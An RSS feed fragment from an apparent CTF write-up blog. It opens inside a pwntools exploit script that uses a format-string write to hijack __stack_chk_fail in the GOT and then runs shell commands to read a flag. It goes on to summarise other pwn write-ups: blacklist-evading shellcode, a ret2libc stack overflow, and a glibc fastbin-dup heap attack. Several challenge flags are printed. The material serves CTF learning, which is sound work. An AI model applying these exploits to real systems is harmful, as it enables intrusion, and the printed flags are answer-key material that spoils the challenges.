style=&#34;display:flex;&#34;&gt;&lt;span&gt;    payload &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; fmtstr_payload(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;got[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;__stack_chk_fail&amp;#39;&lt;/span&gt;]: one},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        write_size&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;short&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ljust(&lt;span style=&#34;color:#ae81ff&#34;&gt;106&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x90&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;gt;&amp;#39;&lt;/span&gt;, payload)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Give epilogue path a moment and then use shell&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sleep(&lt;span style=&#34;color:#ae81ff&#34;&gt;0.8&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;echo __PWNED__&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;id&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;cat /flag.txt || cat flag.txt&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    out &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvrepeat(&lt;span style=&#34;color:#ae81ff&#34;&gt;2.0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(out&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode(errors&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;ignore&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; __name__ &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; start(remote_mode&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    solve(io)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;close()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;notes&#34;&gt;Notes&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This target combines two bugs: the OOB leak provides stable libc base, while FSB gives arbitrary write.&lt;/li&gt;&#xA;&lt;li&gt;Partial RELRO keeps GOT writable, so &lt;code&gt;__stack_chk_fail@got&lt;/code&gt; is a clean control-flow target.&lt;/li&gt;&#xA;&lt;li&gt;The canary is not bypassed; it is intentionally &lt;strong&gt;triggered&lt;/strong&gt; to pivot into hijacked GOT.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;result&#34;&gt;Result&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTB{S0m3t1m3s_bl0w1ng_th3_pr0gr4m_1s_g00d}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pagevault&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: Execute</title>
      <link>/posts/htb-pwn-execute/</link>
      <pubDate>Wed, 25 Feb 2026 11:40:00 +0700</pubDate>
      <guid>/posts/htb-pwn-execute/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Execute&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Execute shellcode despite blacklist restrictions and print flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;Program reads user bytes and jumps to them directly:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;read&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, buf, &lt;span style=&#34;color:#ae81ff&#34;&gt;60&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;check&lt;/span&gt;(blacklist, buf, size, &lt;span style=&#34;color:#a6e22e&#34;&gt;strlen&lt;/span&gt;(blacklist))) &lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1337&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)()) buf)();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The first-stage payload is filtered against blacklist bytes, but code execution is still intentional (&lt;code&gt;execstack&lt;/code&gt;, NX disabled).&lt;/p&gt;&#xA;&lt;p&gt;Blacklist bytes include values from typical &lt;code&gt;/bin/sh&lt;/code&gt; shellcode (&lt;code&gt;3b&lt;/code&gt;, &lt;code&gt;2f&lt;/code&gt;, &lt;code&gt;62&lt;/code&gt;, &lt;code&gt;69&lt;/code&gt;, &lt;code&gt;6e&lt;/code&gt;, &lt;code&gt;73&lt;/code&gt;, &lt;code&gt;68&lt;/code&gt;, &amp;hellip;), so a direct one-shot payload is blocked.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: Restaurant</title>
      <link>/posts/htb-pwn-restaurant/</link>
      <pubDate>Wed, 25 Feb 2026 11:35:00 +0700</pubDate>
      <guid>/posts/htb-pwn-restaurant/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Restaurant&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Gain code execution and read the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The vulnerability is in &lt;code&gt;fill()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;local stack buffer is 0x20 bytes&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;read(0, buf, 0x400)&lt;/code&gt; allows stack overflow&lt;/li&gt;&#xA;&lt;li&gt;no canary + no PIE make RIP control straightforward&lt;/li&gt;&#xA;&lt;li&gt;NX is enabled, so we use ROP/ret2libc (no shellcode on stack)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Security profile of binary:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Full RELRO&lt;/li&gt;&#xA;&lt;li&gt;NX enabled&lt;/li&gt;&#xA;&lt;li&gt;No PIE&lt;/li&gt;&#xA;&lt;li&gt;No canary&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;exploit-strategy&#34;&gt;Exploit Strategy&lt;/h2&gt;&#xA;&lt;p&gt;Use a two-stage chain:&lt;/p&gt;</description>
    </item>
    <item>
      <title>0x3 - Learn CTF: Binary Exploitation</title>
      <link>/posts/0x3-learn-ctf-pwn/</link>
      <pubDate>Tue, 24 Feb 2026 04:10:00 +0700</pubDate>
      <guid>/posts/0x3-learn-ctf-pwn/</guid>
      <description>&lt;h2 id=&#34;table-of-contents&#34;&gt;Table of Contents&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#secret-garden--fastbin-dup--__malloc_hook-overwrite-glibc-223&#34;&gt;Secret Garden — fastbin dup + &lt;code&gt;__malloc_hook&lt;/code&gt; overwrite (glibc 2.23)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#kidding--stack-overflow--_dl_make_stack_executable-route&#34;&gt;Kidding — stack overflow + &lt;code&gt;_dl_make_stack_executable&lt;/code&gt; route&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#start--stack-bof-leak--stack-shellcode&#34;&gt;Start — stack BOF leak + stack shellcode&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;secret-garden--fastbin-dup--__malloc_hook-overwrite-glibc-223&#34;&gt;Secret Garden — fastbin dup + &lt;code&gt;__malloc_hook&lt;/code&gt; overwrite (glibc 2.23)&lt;/h2&gt;&#xA;&lt;h3 id=&#34;summary&#34;&gt;Summary&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn / Heap Exploitation&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; &lt;code&gt;pwnable.tw - secretgarden&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Binary:&lt;/strong&gt; &lt;code&gt;secretgarden&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Libc:&lt;/strong&gt; &lt;code&gt;libc_64.so.6&lt;/code&gt; (Ubuntu GLIBC 2.23)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Protections:&lt;/strong&gt; RELRO + Canary + NX + PIE&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Flag:&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;bug-and-primitive&#34;&gt;Bug and primitive&lt;/h3&gt;&#xA;&lt;p&gt;The program stores flower objects in a global array. Each flower has a heap-allocated &lt;code&gt;name&lt;/code&gt; pointer.&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
